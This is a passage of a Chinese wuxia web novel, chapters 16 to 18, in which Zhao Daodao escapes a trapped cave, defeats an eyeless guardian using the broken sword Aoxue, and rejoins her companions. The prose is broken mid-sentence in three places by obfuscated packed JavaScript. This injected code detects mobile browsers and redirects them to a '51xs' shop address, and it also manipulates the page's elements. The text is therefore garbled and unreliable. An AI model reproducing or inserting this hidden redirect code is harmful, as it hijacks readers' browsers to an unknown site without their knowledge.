赵刀刀的衣摆在黑暗的微光中犹如一道极细的闪电,这种轻功和唐雪见过的高手完全不同,施展之自然似乎已不是轻功,而是本能,她的眼睛看着前方,下一刻就落在视线曾待过的地方,哪怕眼前所及漆黑一团也没有一丝一毫的犹豫,轻快地像是一只掠水而过的鸟儿。 她的足尖飞快地点过那些石柱,在身后的唐雪看来,那一道金色的闪电就这样一往无前地冲入了黑暗中,她在唐家堡和水城这些年还从没有见过这样的身法,恩人简直是在飞。 而身后石柱不断下坠,无尽的深渊仿佛一只凶猛的怪兽张开了大口,紧随在赵刀刀身后,越来越近,越来越近,但赵刀刀的速度也越来越快,难以看清,他们之间始终隔着一线。 刀子精并不担心她,他知道赵刀刀做出决定的时候没有逞能,是觉得自己确实能够过去。 赵刀刀心中默数着石柱的个数,已然要到达对岸! 她咬着牙冲过去,终于有机会缓下这一口气。 四周没有人,她轻声问,“你能感觉到这里有什么吗?” 刀子精道,“没有。” 她微微颔首。“好,那我就可以回去了。” 她舒展了下身体,轻跳两下,除了当年下山的时候恨不得从山上一股脑滚到山下的肆意,哪怕是被人追着砍她也没有这样快的跑过了。她冲过来的方向大喊几声,石柱升上来就回到了唐雪和周向晚那边。 唐雪冲过来抱住她,“太厉害了,恩人你知道吗,你刚才简直是在飞!” “我不会飞啦。”顶着唐雪明亮的目光,赵刀刀轻咳一声,道,“这样就可以都过去了,我来按着,你们俩先过去。” 唐雪知道现在该担心的不是赵刀刀,可一想到恩人要留到最后,还是觉得有些难受。 赵刀刀只得催促他们快些,“我可不想一直在这按着这破东西啊,周向晚你带着她先过去。” 周向晚没想到有一天管教唐大小姐的重担也能落在自己身上,他无奈地摊手,“大小姐,你也听到了,我们就别留着给她添乱了。” 唐雪恶狠狠的剜了他一眼,还是跟着走了。 站在石柱上才能发现赵刀刀之前是何等的淡定,光是这下面望不到底的深渊已然能够让任何一个普通人腿软了,石柱上面能站的地方也没有想的大,她不敢多看,跟着周向晚赶快过去。 赵刀刀估么着时间,刚觉着差不多了就听到对岸唐雪说自己到了的声音。 她看着自己的手,有些不着调地想,这下真是命运掌握在自己手中了,想想还觉得有点小刺激。 她呼出一口气,低声道,“走了。” 刀子精也回她一声,“嗯。” 这一回她怕生出变故,提气冲出,比之前更快,然而在倒数第三个石柱上,却猝然伸出了一只手,往她脚腕地方向拽去! 赵刀刀低声咒骂一声,一觉察到那只手便细微地调整了方向,往前的同时反手握刀向脚后一挥,只听到“铮”的一声,她大声道,“周向晚,你跟唐雪快往前走!我马上到!” 然而难得生出舍己为人的心思,上天却像是和她作对一般不让这事轻易实现。 眼见她快到岸边,唐雪和周向晚也没离很远,那鬼东西竟然有跟在她身后一起上来的势头! 唐雪投出的飞镖打到他身上又被弹开,急道,“恩人!” 赵刀刀挥手道,“你们先走!这里太黑了什么都看不见,我在后面拦着这东西。” 周向晚拉着唐雪道,“走,我们在这里也只是添乱,我们去前面探路。” 赵刀刀道,“等下我就去找你们。” 周向晚拉着唐雪往前去。 赵刀刀踏上岸边的同时转过身应对,这东西黑暗中看不清样子,只感到他浑身坚硬无比刀枪不入,她挥刀没有造成伤害,只能尽力拖延。 身形像人,但没有呼吸,不是活人,所以这鬼阵法中的机关无数是假,难在有这么个东西守着? 她拦着这东西,交手了几个来回,发现黑暗中这怪物也能准确发现她的方位,幸好这东西招式凶猛却不算特别灵活,她还能借机闪躲,只是长此以往,怪物不知疲倦,人终会落于下风。 想明白这一点,估计唐雪和周向晚应该也走了挺远了,她侧身躲过迎面的拳风,又顺势攻向下盘,从四个方向挥刀,用刀背重重击在这东西的脚踝,膝盖处,终于听到他倒地的声音,她不再恋战,往前去,心里还念着之前石柱上的暗算,先前主动探查石柱下方一无所获,放松警惕差点被偷袭个措手不及,可真够损的。 光线渐亮,不似刚才的黑,唐雪和周向晚已经远远离开石柱附近,他们本打算再走一点,却不得不停下,因为前面居然是一条岔路! 周向晚在唐雪甩开之前放开她的手。 他看向唐雪,“在这等?” 唐雪抿了抿唇,“等她……”她摇头道,“不行,就算等到了,那东西在后面跟着,我们又成了她的累赘。” 周向晚有些惊奇地看着她,显然是没有想到他印象中那个逍遥跋扈的唐家大小姐还有这样坚定果决的时候。但这会儿不适合纠结这些小事,他问,“那我们怎么走?” 唐雪看着这两条路,这里比之前更亮,地上能看到足迹,两边都有,一时看不出哪边多哪边少,且这两条路乍一看也没有任何分别,只是左边好像……更亮一些? 不知道是不是错觉,她擦了擦眼睛,没变化,左边好像确实更亮。“周向晚……你有没有觉得这光——” 周向晚道,“我看见了,你有没有发现,左边甚至还要再宽敞些?” “你确定?这样细微的差别你也能分辨?”唐雪换着角度,没有看出宽窄的区别。 周向晚不欲多言,只是点头表示确定。 “但是怎么选呢……”唐雪思考片刻,回忆道,“姜容说过,阵中没有真正的死路。那就是说,这两条路,我们都能选……” 周向晚道,“他是说过,他说,阵中没有绝路,只看你怎么选……我记得,他转头又说起不相干的话来,他说,梧桐苑的湖水夜晚映着满天星光和明月皎皎,天河落在地上,梦幻触手可及,是极好的景色,他说,庄子里最好的活动就是对酒赏月,可惜客人还没来得及看。” “对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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唐雪挑了个好看些的,横手一插,将飞镖嵌入左边墙中,又在墙上浅浅刻了个箭头指向另一边。她看向周向晚,“走?” “走。” 赵刀刀没走多久,身后的东西就追上来了。 远处传来微弱的光亮,这东西看着更像个人了,之所以是看着,因为这怪物浑身发黑,脸上竟五官的位置只有黑色的凹陷,身上是已经被陈年血渍染黑的纱布,最奇特的,是纱布底下的皮肤像金属一样坚硬。 她提刀应对,只是—— “更快了?” 刀子精道,“确实,这东西好像越来越灵活了。” 如果说一开始还有余力,现在这东西却随着她的步调越来越强,她由攻势转向防守,忽然觉得这种肉眼可见进步,真该让她的废物师兄来看看。 人家虽然连人都不是,可她的二师兄不求上进热衷于舞弄权术,却真的是狗。 她找准时机往前去,渐渐到了岔路口。 看着墙上嵌着的飞镖和标记,赵刀刀低笑道,“我终于也有聪明队友了。” 刀子精从喉咙里不屑地冷哼出声,“嗯?” 赵刀刀连忙改口,“小刀,咱俩谁跟谁啊,而且你比我聪明。” 刀子精认了她的奉承,“陆向晚陪着她,他们应该不会有问题,不过你再待在这里,可能他们就真有问题了。” 赵刀刀笑笑,“这不是就来了。” 她等的就是这怪物追上来。 她看似提刀迎战,却渐渐引着怪物走到了另一条路。 17. 密室 步入岔路,狭窄的一段路后,空间先是变得宽敞,又慢慢缩小到原来的宽窄,像是一个花瓶。 赵刀刀不知道唐雪他们那边怎么样,但她这里,如果说一开始还是主动的诱敌深入,那现在这主动权已经不在她手中。 前方还有路,看不到尽头,往后回去的路已经被怪物堵死,如果想跑,还有前行的余地,就不知后面等着她的是什么了。 这里烛火幽幽,打斗的声音在细长的走道中不断回响,光明和黑暗的交界不停变化,一路上,那怪物的动作越发狠厉,用肉眼只能捕捉到残影。 路越走越偏,却比之前一条道的来路更“热闹”。周围渐渐出现已经腐烂的尸骨,在两边零碎地倒着,墙上干涸的血渍宣誓着曾经的惨状,残破的刀剑或斜插在地上,或落在尸体旁,赵刀刀无暇顾及这些痕迹意味着什么,她的大部分精力都放在躲避和跑路上,时不时还得提防跌落的碎石和脚下的坑洞。 怪人所过之处,挡道的头骨,手骨七零八落地碰下来,被碾碎,被破坏,重击的回音混着细碎的声响,赵刀刀听得有些头疼。 奇怪的是,这些尸体旁边,除了已经看不清原样的肉块,还有什么东西在尸骨下闪着光,赵刀刀挑飞一具骨架,发现这些东西居然是落灰的金银珠宝,玉石宝石金币银币躺在烂泥里,混着布料和骨肉散布在路的两边。 或许这就是白凰所说的“任意取之”。 不知是手热还是错觉,赵刀刀慢慢适应了怪物的节奏,偶尔能反手还击一刀,拖慢怪物速度,获得片刻喘息,但她清楚自己体力有限,这样的支撑必不能坚持太久。 她也没兴趣在这里陪着一个连人都不是的东西玩到死。 只能往前寻找出路。 她思考着,哪怕用腰带绑住这玩意,估计挣开也就是片刻的事,拖一时半会,还是继续跑? 她自嘲一笑,心道,根本就没有选择啊。 但跑着跑着发现了不对,“这东西怎么没追上来?”她的速度没变多少,难道是之前的攻击积累起来终于有点用了? 赵小刀道,“还在追,但是慢了。” “为什么?” “或许是不用追了?” “呸呸呸,你别这时候说这种话啊赵小刀。” “但也是个机会,甩开他的机会。” 赵刀刀同意,机不可失,她果断脱战,调动内力往前冲去。 那怪物还是没有追上。 脚步声越来越远。 但和短暂的安全相反,两边的尸骨越来越多。赵刀刀皱眉,有些尸骨看上去年份不小了,连肉都被蛆虫啃地干干净净,白骨上落满了灰尘和蛛网。 这山洞里也不知靠什么通风的,按理来说,这样的惨状应该会让空气恶臭无比,但赵刀刀竟然觉得离浑浊到难以呼吸的地步还远。 或许有人清理?她想,莫非那管家说的无法破阵亦能保他们出阵就是这里? 那她的这条路再走下去……是出口? 如果她是出口,一路上也没见到什么书本之类,那正路就是另一边……也就是说,唐雪他们是向阵中走去? 但也不能轻易确定,她思索着,打定主意到前面一探究竟。 一路光线越来越明朗,映着周围的死尸,有种诡异的平和。 终于到了头,她想的出口没有出现。 又是两扇门,一扇精致华丽的木门,门上的花纹和门缝中透着光,另一扇是铁栅门,紧闭着,黑刀敲击也劈砍纹丝不动,中间有道圆形的凹槽。 又是没得选。 赵刀刀叹了口气,静立片刻,里面始终没有声音,她提刀划进木门门缝,没有阻碍,刀身轻轻一摆,就将门开了一道小缝。 霎时就被里面金银珠宝散发的光辉晃了眼,她侧开脸。 这时身后脚步声渐近,她心神一震转身望去,那怪人不知道什么时候追上来的,赵刀刀握紧刀柄,却发现怪人停在她三步之外,没有继续靠近,甚至隐隐有离去的趋势。 此时她才注意到,原来怪人挺像人的,他有五官,而且他的眼睛的不是黑的,黑的其实是两个空洞,像是硬生生被人挖去眼球,留下的两个漆黑的洞。 甚至做这等残忍之事的人手法十分精湛,伤口线条流畅,如同人造之物雕刻到眼睛位置,特意预留下空间,只等着镶嵌眼珠上去。 “这原来……是个人吗?”她没有轻举妄动,低声道。 刀子精道,“至少他现在绝对不是人了。” 赵刀刀看着怪人的脸,忽然觉得比起怪人,让他变成这样的人才更可怕,她冷呵一声,“如果让一个活人守在这地方装神弄鬼几十年,就算一开始是人,也会被逼疯的。” 刀子精道,“幸好他不是人,倒省去很多苦难。” 赵刀刀眼看这怪物脚步沉重缓慢,竟真的转身离去,松了一口气的同时,心里不知为何还生出点奇怪的不舍。大哥,我被你追着打了这么久,你目的达到了就不管我了?还是说这门里的东西让你也怕? 仔细想来,与其说她将这怪物引开,不如说她被怪物逼到此处。 她轻叹一口气。那就进去看看。 赵刀刀推门而入。 当真是珠光宝气,金碧辉煌。让人只觉得心头一热,火气上涌,丝毫感觉不到山洞里的阴森寒冷。 那股子铜臭味比刚才的白骨走道可厉害多了,一开门就冲出来,冲的人头晕目眩。 原来这才是那个随意取之。 财帛动人心,而白凰只要一本书。赵刀刀闭上门,靠在门上暂歇,除非另一边还有宝库,不然这里就是阵法中心了,她强打精神站直了四处走动,却看不到书的影子。 赵刀刀其实已累到极致,确认这地方没有其他东西会突然冒出来打人,她用黑刀扫出一片空地随意盘腿而坐。 打坐半晌,恢复了点儿精神,才向后一靠,无聊地用刀拨弄着地上的宝石金块。 关于命和钱之间到底哪个更重要,这问题总是让人困扰万分,外面那些白骨,不知是不是人为财死之流。 “如果这里不是出口,那我还得回到唐雪他们那边,不知道他们那边是什么情况。” 赵刀刀略带嘲弄地笑了笑,“你说,他们会等着我过去找他们吗?如果我就想带着这些宝贝出去,反正打了这么久也够麻烦了,管他什么书不书的,要是我能从这里出去,还能见到唐雪他们吗?” 她低着头,垂下眼睛接着说,“本以为不用多久,从我们进来到现在有三四个时辰了吧,现在外面天应该快黑了,今晚说不定得在这过夜了。”又笑道,“没想到,多少人梦寐以求的睡在金山上,我今天就能做到了。” 刀子精知道她是累惨了才会说胡话说个不停,等她说够了,才道,“你不是那样的人。” “那我是怎样的人呢?” “你是赵刀刀。” “……” “哦。” 她闭了嘴,也闭上眼睛。 赵小刀等了一会儿,觉得时间差不多了,道,“与其坐在这里空想,不如找找风口。” 赵刀刀的肩膀颤了颤,她笑了,一开始只是小声地笑,接着肩膀颤动的幅度越来越大,她的笑声也越来越大。 等她终于停下睁开眼,又恢复了往日里云淡风轻的样子。 她道,“找,不但要找,还要到他们那边去。”她站起身拍拍衣摆,语气坚定,“我们会一起出去。” 刀子精就知道自己不必再多言。 赵刀刀仔细看过,没有书,便向边缘走去。这里顶上是山石,布局却方方正正,和太白山庄中的房子一样风格,显然是被人特意建成这样。 走了快半炷香,终于快到了头,她感慨道,“这是库房吧,这里可真够大的,如果这么多财宝都可以不当回事,那太白山庄还真是财力雄厚,这样的地方会找不到人替他破阵吗?” “他们应该不缺人,或许是阵法本身的原因,也有可能是……” 两人异口同声,“那本书。” “嗯。”刀子精道,“我们还没见过那本书,也不知道阵法到底怎么回事,一点点来吧,如果两条路会在前方汇合,他们那边或许也在面对不同寻常的东西。” 赵刀刀道,“你说得对,不想了,不过我还有几个问题。” “什么?” “这里的钥匙我们带进来了,但应该不止一把吧?” “嗯。” “姜容说过,这里的出路只有一条,但如果我们实在不能前行,可以喊人来救,小刀你说……他们能从哪进来呢?这里会有通向外面的门吗?” “或许有,但他说了出路只有一条,就算有我们也一定打不开。” “唉,那铁门的钥匙会在哪儿呢?” 事实上这个问题从进门起就萦绕着她,直到现在。 “不知道,应该在附近。” “你怎么什么都不知道,笨蛋!” “呵。”赵小刀不在这时与她争辩,先记着。 “总感觉这里的味道怪怪的。”赵刀刀揉了揉鼻子,沿着从门外进来的方向,一直走到墙边,铜臭味没有减少,只是习惯了,不知是不是错觉,靠近墙边的位置还混着股说不上来的味道。 赵刀刀看着眼前的木墙,墙是几块木板钉起来的,有缝隙,另一边没有光,透过缝隙只能看到一片黑,似乎还是墙。她已经走到边缘,库房的边缘比中间更干净,没有尸骨,灰尘也少,干净的墙角和鼻尖的异味十分割裂,她有点怀疑自己鼻子出问题了。 赵刀刀抿了抿唇,如果不是白凰和姜容都说出路只有一条,她真想将这面墙劈开看看,假如刚才怪人跟进来,她可能已经将这里劈开了,但怪人连进都没进。 直觉告诉她还是不要冲动为好,混杂的气味像一种警告,冲的她头晕。 赵刀刀捏住鼻子,微微皱眉,白凰说了,要是他们无法破阵,在阵中不要随意妄动,找个安全处待到第三天就会有人来救。这里算安全处吗,唐雪他们那边有安全处吗? 她不想赌。 思索间,她忽然看向木墙,后退两步,压低身子,将自己掩藏在最近的宝物堆后,握紧了刀。 有谁在墙的另一边窥伺——她捏住鼻子之后,听见了另一道呼吸。 不过那感觉只出现了一瞬,再想去寻,却没有了。 她低声问,“你感觉到了吗?” 刀子精道,“刚刚那边有人。” 赵刀刀后退几步,转身向来时的门走去,沉声道,“不能在这待太久,我得尽快破阵,找到钥匙。”跟唐雪他们汇合。 出了门往前走了十几步,那怪物就不知道从什么地方冲出来,原来他一直没有离开! 赵刀刀与他交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063182|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,被步步逼退,这东西不知疲倦,不知疼痛,刀枪不入,她越是攻击,越是心惊。再强的武器也有薄弱的死角,可是这怪物的破绽在哪里?她找不到。 每当敌不过时她就逃进藏宝室,那怪物不会追上来,可如此来往十余次,她也根本无法出去。 “呼……呼……”赵刀刀喘着气,她不常出汗,此时头上却都是密密的汗珠,领口的布料被汗水浸湿,冷冷地粘在身上,她拽了拽,发现衣服上已有破口,这怪人的速度越来越快了。 她必须再试一次。 刚迈出一步。 “赵刀刀!”刀子精冷声叱喝,“你要送死吗?” 她猝然停住,深深呼吸,然而不过片刻又闷声到,“嗯。” 刀子精缓声道,“你太累了,还有时间,先去休息。” 她闷声应好,目光却一直紧盯门外怪人的身影。 “赵刀刀。”刀子精的声音毫无起伏。 “……知道了。”赵刀刀舔了舔干燥的嘴唇。刀子精没有多说,但赵刀刀知道他有些生气了。 不能这样,她安慰自己。赵刀刀也知道继续下去先撑不住的一定是她,不能再盲目的冲上去,但来到这里,她还是第一次经历这样的挫败,有些不服气,总觉得只差一点自己就能找到破招之法。 她在空中挥了两下刀,叹了口气,整理出一块空地,靠在墙边坐下,强迫自己闭上眼,调整着呼吸。 一闭上眼又全是之前的情景。 还有哪里她没有试过,脑后?眼睛?脖颈?不对,不对,她每一处都试过,还有哪里?难道真就走不回去? 在哪里…… 赵刀刀有些恼怒,她的头脑还兴奋着,却不够清醒。 刀子精一字一句地描述起之前的细节,嗓音像击钟一样起伏顿挫,“第一次,你往前走了十八步,那怪物从远处冲过来,他的动作只比第一次在石柱上遇到他时快上一些,但你越往外去,他的动作越是凌厉,攻势的提升比之前更快。第二次,你往前走了十一步,他出现,招数一开始也算缓和,你试探了他的手肘,关节,脖颈,及时退回。第三次,你走了不到十步,与他对上,你攻击他的心脏,脊椎,脚踝,你利用尸骨和布料将他绑起,用刀剑将他暂时困在墙上,往前十步他挣脱束缚,招招致命。第四次……” 赵小刀的声音在这里比平时听到的更清晰,他的话音沉稳有力,因着他的冷静,赵刀刀也渐渐平息了情绪。 最后睡过去之前听到的话语好像是,“睡吧,三个时辰后,我会叫你。” 竟是一觉好眠。 “赵刀刀,不要装睡。” 她睁开眼,暗红色的瞳孔像是旁边的红宝石一般,在火光下闪闪发光。 赵刀刀转了转脖子和手腕。 轻轻呼出一口气,将怀中的黑刀顺势握住,嘴角勾起。 “早上好,赵小刀。” 说着就提刀出去,过了几十招又回来,手里还抓着打斗时散落地上的发带和簪子,一头黑发披在肩上。 昨晚睡着前她脑海中隐隐有了一个猜想,而刚刚的试探或许证明了她想的不错。 她将刀插在地上,将打斗后凌乱的头发一丝不落地拢起绑好。 “赵小刀。” 刀子精懒洋洋应到,“嗯。” “我们来破阵。” “好。” 她嗔道,“诶,你精神点嘛,怎么在这时候打瞌睡。” 刀子精笑了声,“好,我们来破阵。” 那怪物越来越快,招架不了她便一次次回到藏宝室,这里是死路,也是庇护。 每每逼近他,一开始他的招数还算缓和,可继续下去,每当她靠近到那个地方他就开始招招毙命。巧的是,那地方不远处堆着几架已经腐朽的白骨,而在那凌乱的尸骨、尘土、宝石之下,还掩盖着一把剑。 或者说,是一把断成两截的剑。 那把剑长三尺七寸,宽三寸,剑身靠近剑柄处以篆体刻一‘白’字,剑柄镂空嵌白玉装饰,剑身洁白如雪,上有红色剑纹如梅。 赵刀刀想起周向晚那天的神情,他的话浮现在脑海中——那把剑,名曰傲雪。 是太白山庄前任庄主白梦江生平唯一用过的剑。 赵刀刀的余光瞥见过这把剑无数次,直到此刻,她终于想起了这把剑。 她将速度提到极限,怪人的拳斜擦着她的脖子惊险错过,赵刀刀紧盯着不远处的骨架,蹬上石壁借力反向冲去,正冲着那堆骨头。她手腕一翻,将骨架挑散飞落,又用刀挑起傲雪剑握在手中,迅速转身! 碎成灰的人骨,灰色的粉末还飘在空中,怪物的速度却突然慢了下来,那双没有眼睛的眼眶好像盯着空中发愣,而后又发狂一般向赵刀刀的方向追去! 赵刀刀已收了刀,迅速将剑上的白玉敲下,正能放进那扇铁栅门的圆孔中。 一声巨响,门缓缓升上去,一只大手冲她抓来,千钧一发之际,她不待门完全打开,拔了钥匙就滑进门里。 门轰的落下。 终于结束了。 石壁传来强烈的震动,原先的通道中巨石滚动,被玄铁栅门拦住,堆在门外,将来时的路堵死。 赵刀刀不再停留。 她将残剑向后掷去。 剑在人在,见剑如人。 这把剑已经不能用了。 18. 后山 力竭的虚弱和伤口的酸痛翻涌而来又被她强行压下,没有太疼的伤处,赵刀刀便没看,背着黑刀边歇边走,扶着石壁慢慢前进。 她依然警惕着周围,烛火比先前密集,但蜡烛都快要燃尽,一路平静的她有些不安。 手下的石壁从粗糙到平滑,赵刀刀的指腹陷进一条裂缝,她低头看,发现这段打磨平滑的石壁上都刻着简单的线条,有圆圈有竖线,像是人,一连串的人,动作不同,似乎能连起来。 她照着比划了下,不是武功,像个故事。 赵刀刀没太看懂这是个什么故事,只看出来故事的走向应该和她走着的方向相反,因为越走线条越深。她将看到的图画倒着推演,一开始是一大一小两个人,中间不知发生了什么,最后只剩下小的那个。 “没看懂。”赵刀刀诚实道。 “没看懂。”赵小刀也说。 “或许应该叫唐雪来看。”她思索着。 “或许她能看出七八个故事出来。” 赵刀刀扑哧笑了一下,她们分开有快一天了,她有些想唐雪了。 这段路比他们先前来的路更规整,石壁上刀剑的划痕不多,刻着的小人蹦蹦跳跳,一路走来,让人觉得很温暖。 渐渐没有烛火了,全靠一两颗夜明珠照亮,昏暗的光线中,赵刀刀又看见了一扇木门。 眼前的雕花木门似乎比之前她遇到的那扇还要有年份一些,上面的漆已经皱起,裸露出下面的木料。 木料腐烂了一部分,大部分完好无损,还散发着沉淀多年的清香,厚重而淡雅。 在腐肉和铜臭之后闻到这样的味道,终于让人感到些劫后余生的实感,令人神清气爽。 旁边又是一条路。 她在三条路的分岔处,身后的路不必再走,眼前的是木门和一条看不到尽头的路。 赵刀刀打了个哈欠,“在这里等还是过去?” 刀子精计算着方位,“如果你一开始走的那条路和唐雪他们那条对应,这里应该就是交汇处,木门没有开过,他们还没走到这里,你在这里等就行了。” “好。” 赵刀刀怀中抱着黑刀,抱臂侧身靠在石墙上,将头歪着抵在墙上,卸了一分力等待。 不一会儿,就听到声音顺着幽长的通道传来。 “周向晚,要不是本小姐救了你,你早就被砸成肉泥了!” “那还真是感激不尽,要是唐大小姐不多看那石棺一眼,我们都可以轻松出来。” “还有那地陷呢!如果不是本小姐拉你——” “在下上了岸还差点被大小姐拉下去,如果这也算救,呵,那还真是多亏了唐大小姐照顾。” “你!要不是你碰了那石棺,我们也不用被火箭追着跑!” “既然大小姐是这么认为,那在下赔不是了。” …… 赵刀刀笑了笑,听到他们的声音,她的精神似乎也恢复了些。 过了拐角,唐雪一眼认出她的身影。 “恩人!”她飞奔而来,一把将赵刀刀拥住。 “嗯。” 周向晚一把甩开了扇子,轻轻晃着,不着痕迹地挡住自己英俊脸庞上的肿起。 唐雪终于放开她,又感到有些不对劲,但此处光线昏沉,她只觉得手上有些粘腻,或许是之前弄脏了手忘了擦净,居然用脏手抱恩人……她在衣摆上抹了两下手,将手藏在身后。 真是不该,她自怨道,轻咳两声清清嗓子,问,“恩人,你是从另一条路过来的吗,那怪物呢?你把他杀了?!” “没有。”赵刀刀也不确定那怪物现在到底是死是活,“那个怪物可能……被砸死了?” 唐雪的声音激动了些,“恩人真厉害!你知道吗,我们那条路往前走居然是一个墓室。那中间摆着一个石棺,太白山庄居然还有这样大的墓穴,我从没听人说起过,而且两旁的陪葬品精美无比!最关键的是,那口棺居然是空的!” 她接着道,“我和周向晚被墓穴那的石门拦住,找了半天都无从下手,那里面居然又开始放暗器,我们都想着要是今天还没法子就回去找你了,可不知道为什么,那道门今天居然自己开了!” 她揣揣不安道,“也不知道那到底是谁的墓,周向晚说按墓穴大小和陪葬来看这里葬的应该是那位真正的白庄主,可那里面是空的,那白庄主不会还活着吧!你说,他不会就在这里的哪个地方看着我们吧?!” 周向晚轻咳两声,提醒道,“你真要摸着黑讲这些?” “啊,忘了我们还没出去了。”她懊恼一声,又立刻雀跃道,“不过我们终于汇合啦!万幸万幸!我就知道恩人一定没问题的,这里应该就是出口了,我们出去再说!” 赵刀刀隐约能看到她的手舞足蹈的模样,笑道,“好,走吧。” 最后的一扇门不需要钥匙,那扇精美的门扉上,挂着一把早已锈迹斑斑的铜锁,轻轻一碰就掉了下来。那锁只有半个手掌大小,比一般的锁小了一圈,比起锁门,似乎用于装饰更适合。不知道为什么会挂在这里。 一推门,木门发出咯吱的响声,有些生涩地卡住,但光线已经涌了过来,是阳光,只有一点,但对他们来说还是太过刺眼了,唐雪下意识用手遮挡了眼睛,却惊奇的发现自己的手掌上全是暗红色的血迹。 “这……” 她想到什么,迅速转头看向赵刀刀。 此时两人才注意到赵刀刀身上满是伤口。 “恩人,你在流血!” “嗯?” 赵刀刀这才发现衣服是破烂了些。 她知道自己受伤了,不可避免,倒没想到伤口会这么多。她在地上滚过,衣服已脏的看不清颜色,血和汗都只是让这衣服变的更黑,分辨不来,因为疼痛尚可忍受,也没功夫注意。 这会儿眯着眼细看,才发现大小伤口无数,尤其是背后。 赵小刀突然出声:“你太紧张了。” 赵刀刀也发现了,但哪怕阳光近在眼前,终于快到出口,她却还不能放松,只是看到伤口后疼痛翻了倍。 背上有一道最深的破口,血已经浸湿了布料。 唐雪有些着急地想要帮她包扎。 赵刀刀笑了笑,安慰她道,“没事,小伤而已,要是严重,我也走不到这了。” 唐雪没有作罢,“我这里有药,你先撒上再说。”她说话间已经带上一点鼻音,有些自责自己刚才的喋喋不休,轻声问,“好吗?” “好。” 屋里的细小灰尘漂浮在空中,这里不比之前铜臭熏天的屋子,好像是一间古旧的书房,博物架上还零散地摆着各种字画书籍。 周向晚惊讶道,“这不是二十年前就已经失传的牧渔图!居然在这里?” 他再仔细看,这里摆放居然无一不是名家手笔。 他有些手痒,恨不得将书画一一捧起仔细观摩。只是余光瞧见唐雪挥散尘埃,找了凳子让赵刀刀坐下,又自觉走到屏风后。 突然,周向晚惊奇的声音透过屏风传来,“这桌上有一本书!” 赵刀刀抬头问,“白凰?” 周向晚道,“看起来的确平平无奇,和这里的宝贝格格不入,应该就是他要的东西了。” 赵刀刀道,“那你直接带上吧。”又问,“你那边有出口?” “我去看看。” 周向晚往远处走了些,声音不一会儿传来,“原来我们在一处山洞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063183|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,外面就是出口了。” 他抬头看,洞口在上方,有些高,进来不易出去更难。 回想着房中的字画,他又想回去,又担心自己看了一幅便难以割舍其他,只好将此地记在心中,大声道,“我在这等你们。” “好。” 嘶,赵刀刀突然轻颤一下。 衣服已经沾了血肉,将两者分开时痛意锐利鲜活,但这不是她皱眉的原因,她皱眉是因为第一次有自己之外的人用手碰了她的伤口,替她包扎,赵刀刀感觉很别扭,伤口在发痒。 唐雪看她皱眉立刻停下,着急道,“我弄疼你了吗?” 赵刀刀摇头,“没事,继续吧。” 唐雪咬着下唇,颇有些怨念地看着她。 赵刀刀背对着看不到她的神情,只感到她还停着,“怎么了,我不疼,如果太麻烦就出去了再处理吧。” 唐雪这才道,“你都没事了,这点小伤怎么会麻烦呢。” 说着轻轻拨开伤口和衣服,将伤药撒上去,又绑上一层布料,顺便将其他能处理的伤口都敷了药才将衣服给她穿好。 看着唐雪将不知道哪里变出来的瓶瓶罐罐收好,她说,“走吧。” 唐雪似乎有些闷闷不乐,“嗯。” 赵刀刀这时倒这有些惊奇了,她隐隐觉得唐雪似乎在生她的气,只是不知道原因。 她们走到周向晚那边,洞口向上,外面居然是葱郁的山林! 三人用衣带相连绑着黑刀,赵刀刀用力掷出,率先爬出,再一个一个拉上来。 唐雪出来后欲言又止。 站在出口边才能发现这里比梧桐苑的入口更隐蔽,洞口与周围的岩石看起来没有一丝差别,像是一个浑然天成的窄小天坑,从外面瞧完全看不出这里有一处洞穴。更别说这里的树木已经生长了几百年,高大繁茂,将四周挡的严严实实,想从外面进来,光是拨开层层障眼的草木都要花上一番功夫。 想发现这里确实难如登天。 而往上望去,还能看到太白山庄中高高矗立的白色琉璃塔,在正午的太阳照射下,闪着炫目的光。 赵刀刀挑了挑眉,“我们这是要爬山上去?” 周向晚已经看过四周,没有其他路,“嗯,只能这样。”他很绝望,真的一步都走不动了。 唐雪看着赵刀刀,“你的伤才刚包扎完!” 赵刀刀道,“没事,我们尽快上去就行,你的药很好。” 唐雪剜了她一眼,气鼓鼓的不再多说。 赵刀刀轻笑道,“走吧,快些上去,我还能多躺一会儿。” 唐雪轻哼一声不理她,开始往山庄走。 周向晚看了看赵刀刀,做了个无可奈何的表情。 他脸上的肿还没消,看着有些滑稽。 三人一起往上走。 山路陡峭,还好最近无雨,树多草多,随处可以借力。 日头越来越烈,赵刀刀隐约觉得背后伤口开始不是时候地作痛。 刀子精也有些担心她,他回想起之前在山洞中,那间藏宝室血腥味太重,他竟没及时注意到她身上的伤口。 往常这种情况他总是能很快发现的。 太白山庄的佣人见到他们惊呼一声,立刻有人来搀扶,还有人去喊白凰和姜容。 此时终于可以放松,赵刀刀快要控制不了自己的四肢,酸痛疲惫将她彻底淹没。 她晃了晃,勉力想要稳住自己,却还是向前倒去,有谁及时扶住她,而她已经看不清人影,只觉得天旋地转。 她想说自己没事,眼前一片漆黑,最后还是昏倒过去。 